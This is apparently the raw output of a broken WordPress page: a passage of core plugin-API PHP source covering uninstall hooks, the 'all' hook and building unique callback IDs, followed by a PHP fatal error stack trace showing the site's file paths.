$callback ); } /** * Sets the uninstallation hook for a plugin. * * Registers the uninstall hook that will be called when the user clicks on the * uninstall link that calls for the plugin to uninstall itself. The link won't * be active unless the plugin hooks into the action. * * The plugin should not run arbitrary code outside of functions, when * registering the uninstall hook. In order to run using the hook, the plugin * will have to be included, which means that any code laying outside of a * function will be run during the uninstallation process. The plugin should not * hinder the uninstallation process. * * If the plugin can not be written without running code within the plugin, then * the plugin should create a file named 'uninstall.php' in the base plugin * folder. This file will be called, if it exists, during the uninstallation process * bypassing the uninstall hook. The plugin, when using the 'uninstall.php' * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before * executing. * * @since 2.7.0 * * @param string $file Plugin file. * @param callable $callback The callback to run when the hook is called. Must be * a static method or function. */ function register_uninstall_hook( $file, $callback ) { if ( is_array( $callback ) && is_object( $callback[0] ) ) { _doing_it_wrong( __FUNCTION__, __( 'Only a static class method or function can be used in an uninstall hook.' ), '3.1.0' ); return; } /* * The option should not be autoloaded, because it is not needed in most * cases. Emphasis should be put on using the 'uninstall.php' way of * uninstalling the plugin. */ $uninstallable_plugins = (array) get_option( 'uninstall_plugins' ); $plugin_basename = plugin_basename( $file ); if ( ! isset( $uninstallable_plugins[ $plugin_basename ] ) || $uninstallable_plugins[ $plugin_basename ] !== $callback ) { $uninstallable_plugins[ $plugin_basename ] = $callback; update_option( 'uninstall_plugins', $uninstallable_plugins ); } } /** * Calls the 'all' hook, which will process the functions hooked into it. * * The 'all' hook passes all of the arguments or parameters that were used for * the hook, which this function was called for. * * This function is used internally for apply_filters(), do_action(), and * do_action_ref_array() and is not meant to be used from outside those * functions. This function does not check for the existence of the all hook, so * it will fail unless the all hook exists prior to this function call. * * @since 2.5.0 * @access private * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param array $args The collected parameters from the hook that was called. */ function _wp_call_all_hook( $args ) { global $wp_filter; $wp_filter['all']->do_all_hook( $args ); } /** * Builds Unique ID for storage and retrieval. * * The old way to serialize the callback caused issues and this function is the * solution. It works by checking for objects and creating a new property in * the class to keep track of the object and new objects of the same class that * need to be added. * * It also allows for the removal of actions and filters for objects after they * change class properties. It is possible to include the property $wp_filter_id * in your class and set it to "null" or a number to bypass the workaround. * However this will prevent you from adding new classes and any new classes * will overwrite the previous hook by the same class. * * Functions and static method callbacks are just returned as strings and * shouldn't have any speed penalty. * * @link https://core.trac.wordpress.org/ticket/3875 * * @since 2.2.3 * @since 5.3.0 Removed workarounds for spl_object_hash(). * `$hook_name` and `$priority` are no longer used, * and the function always returns a string. * @access private * * @param string $hook_name Unused. The name of the filter to build ID for. * @param callable $callback The function to generate ID for. * @param int $priority Unused. The order in which the functions * associated with a particular action are executed. * @return string Unique function ID for usage as array key. */ function _wp_filter_build_unique_id( $hook_name, $callback, $priority ) { if ( is_string( $callback ) ) { return $callback; } if ( is_object( $callback ) ) { // Closures are currently implemented as objects. $callback = array( $callback, '' ); } else { $callback = (array) $callback; } if ( is_object( $callback[0] ) ) { // Object class calling. return spl_object_hash( $callback[0] ) . $callback[1]; } elseif ( is_string( $callback[0] ) ) { // Static calling. return $callback[0] . '::' . $callback[1]; } }
Fatal error: Uncaught Error: Call to undefined function apply_filters() in /home/clients/5b7890e102ec287a312275ee5d999b4a/web2/wp-includes/error-protection.php:139 Stack trace: #0 /home/clients/5b7890e102ec287a312275ee5d999b4a/web2/wp-includes/error-protection.php(82): wp_is_fatal_error_handler_enabled() #1 /home/clients/5b7890e102ec287a312275ee5d999b4a/web2/wp-settings.php(64): wp_register_fatal_error_handler() #2 /home/clients/5b7890e102ec287a312275ee5d999b4a/web2/wp-config.php(89): require_once('/home/clients/5...') #3 /home/clients/5b7890e102ec287a312275ee5d999b4a/web2/wp-load.php(50): require_once('/home/clients/5...') #4 /home/clients/5b7890e102ec287a312275ee5d999b4a/web2/wp-blog-header.php(13): require_once('/home/clients/5...') #5 /home/clients/5b7890e102ec287a312275ee5d999b4a/web2/index.php(21): require('/home/clients/5...') #6 {main} thrown in /home/clients/5b7890e102ec287a312275ee5d999b4a/web2/wp-includes/error-protection.php on line 139